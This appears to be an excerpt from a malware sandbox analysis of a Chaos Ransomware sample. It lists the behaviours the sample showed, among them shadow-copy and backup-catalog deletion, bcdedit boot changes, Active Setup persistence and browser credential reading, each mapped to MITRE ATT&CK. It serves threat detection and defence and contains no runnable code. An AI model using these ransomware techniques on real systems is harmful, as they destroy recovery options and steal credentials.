      Ransomware family first seen in June 2021.

    • Chaos Ransomware

    • Deletes shadow copies

      Ransomware often targets backup files to inhibit system recovery.

    • Modifies boot configuration data using bcdedit

    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Deletes backup catalog

      Uses wbadmin.exe to inhibit system recovery.

    • Downloads MZ/PE file

    • Credentials from Password Stores: Windows Credential Manager

      Suspicious access to Credentials History.

    • Drops startup file

    • Executes dropped EXE

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Drops desktop.ini file(s)

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Legitimate hosting services abused for malware hosting/C2

    • Mark of the Web detected: This indicates that the page was originally saved or cloned.

    • Drops file in System32 directory

    • Sets desktop wallpaper using registry

MITRE ATT&CK Enterprise v15

Tasks